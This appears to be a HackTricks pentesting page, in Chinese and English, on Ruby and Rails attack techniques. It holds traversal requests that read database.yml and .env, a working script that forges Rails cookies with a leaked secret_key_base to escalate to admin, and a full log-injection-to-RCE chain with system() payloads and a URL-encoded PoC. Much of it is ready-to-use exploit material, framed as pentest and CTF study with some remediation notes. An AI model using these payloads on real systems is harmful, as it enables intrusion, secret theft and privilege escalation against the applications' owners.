# Ruby 技巧 {{#include ../../banners/hacktricks-training.md}} ## 文件上传导致 RCE As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications. 提示: - 其他在应用启动时执行的 boot/eager-load 位置在可写时也很危险(例如,`config/initializers/` 是典型的例子)。如果你发现任意文件上传被放到 `config/` 下的任何位置并在随后被 evaluated/required,则可能在启动时获得 RCE。 - 查找将用户可控文件复制到容器镜像中且 Rails 会在启动时加载它们的 dev/staging 构建。 ## Active Storage image transformation → command execution (CVE-2025-24293) When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default. - A vulnerable pattern looks like: ```erb <%= image_tag blob.variant(params[:t] => params[:v]) %> ``` where `params[:t]` and/or `params[:v]` are attacker-controlled. - What to try during testing - Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments. - Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host. - If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations. - Remediation/detections - If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy. ## Rack::Static LFI / path traversal (CVE-2025-27610) If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root. - Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example: ```text GET /assets/%2e%2e/%2e%2e/config/database.yml GET /favicon.ico/..%2f..%2f.env ``` Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`. - Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set. ## Forging/decrypting Rails cookies when `secret_key_base` is leaked Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies. 用于解密并重新加密现代 cookies 的最小 Ruby 代码(AES-256-GCM,近期 Rails 的默认): ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator' secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED') raw_cookie = CGI.unescape(ARGV[0]) salt = 'authenticated encrypted cookie' cipher = 'aes-256-gcm' key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON) plain = enc.decrypt_and_verify(raw_cookie) puts "Decrypted: #{plain.inspect}" # Modify and re-encrypt (example: escalate role) plain['role'] = 'admin' if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts "Forged cookie: #{CGI.escape(forged)}" ``` 注意: - 较旧的应用可能使用 AES-256-CBC 和 salts `encrypted cookie` / `signed encrypted cookie`,或者使用 JSON/Marshal 序列化器。相应地调整 salts、cipher 和 serializer。 - 在妥协/评估时,旋转 `secret_key_base` 以使所有已存在的 cookies 失效。 ## 另见 (Ruby/Rails-specific vulns) - Ruby deserialization and class pollution: {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-class-pollution.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-_json-pollution.md {{#endref}} - Template injection in Ruby engines (ERB/Haml/Slim, etc.): {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}} ## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling 当一个应用(通常是一个简单的 Rack/Sinatra/Rails 端点)同时满足: - 按原样记录用户可控的字符串,且 - 之后通过 `Pathname#cleanpath` 处理后,从同一字符串派生路径并 `load` 该文件, 通常可以通过污染日志然后强制应用 `load` 日志文件来实现远程代码执行。关键原语: - Ruby 的 `load` 会将目标文件内容作为 Ruby 解释执行,忽略文件扩展名。任何可读的文本文件,只要其内容能被解析为 Ruby,就会被执行。 - `Pathname#cleanpath` 在不访问文件系统的情况下折叠 `.` 和 `..` 段,从而允许路径混淆:可在记录时前置攻击者控制的垃圾数据,而清理后的路径仍解析到要执行的目标文件(例如 `../logs/error.log`)。 ### 最小易受攻击模式 ```ruby require 'logger' require 'pathname' logger = Logger.new('logs/error.log') param = CGI.unescape(params[:script]) path_obj = Pathname.new(param) logger.info("Running backup script #{param}") # Raw log of user input load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath ``` ### 为什么日志可以包含有效的 Ruby `Logger` 写入类似以下的前缀行: ``` I, [9/2/2025 #209384] INFO -- : Running backup script ``` 在 Ruby 中,`#` 表示注释,`9/2/2025` 只是算术运算。要注入有效的 Ruby 代码,你需要: - 在新行开始你的 payload,这样不会被 INFO 行中的 `#` 注释掉;发送一个前导换行符(`\n` 或 `%0A`)。 - 关闭 INFO 行引入的悬空 `[`。常见技巧是以 `]` 开头,并可选地用 `][0]=1` 让解析器满意。 - 然后放入任意 Ruby 代码(例如 `system(...)`)。 以下是使用精心构造的参数进行一次请求后,最终会写入日志的示例: ``` I, [9/2/2025 #209384] INFO -- : Running backup script ][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log ``` ### 构造一个既会记录代码又会解析为日志路径的单字符串 我们需要一个由攻击者控制的单个字符串,满足: - 当原样记录时,包含我们的 Ruby payload,且 - 当通过 `Pathname.new().cleanpath` 处理时,解析为 `../logs/error.log`,因此随后对该刚被污染的日志文件执行 `load`。 Pathname#cleanpath 会忽略 schemes 并折叠遍历组件,所以下面的方法可行: ```ruby require 'pathname' p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log") puts p.cleanpath # => ../logs/error.log ``` - 在 `://` 前的 `#` 确保 Ruby 在日志被执行时忽略尾部,而 `cleanpath` 仍会将后缀简化为 `../logs/error.log`。 - 前导的 newline 会跳出 INFO 行;`]` 关闭悬挂的括号;`][0]=1` 满足解析器。 ### End-to-end exploitation 1. 将以下内容作为备份脚本名发送(如果需要,将第一个 newline URL-encode 为 `%0A`): ``` \n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log ``` 2. 应用将你的原始字符串记录到 `logs/error.log`。 3. 应用计算 `cleanpath`,解析为 `../logs/error.log` 并对其调用 `load`。 4. Ruby 会执行你注入到日志中的代码。 To exfiltrate a file in a CTF-like environment: ``` \n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log ``` URL-encoded PoC (第一个字符是换行符): ``` %0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log ``` ## 参考资料 - Rails 安全公告: CVE-2025-24293 Active Storage unsafe transformation methods (已在 7.1.5.2 / 7.2.2.2 / 8.0.2.1 修复)。 https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 - GitHub 通报: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v - [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44) - [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath) - [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html) - [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html) {{#include ../../banners/hacktricks-training.md}}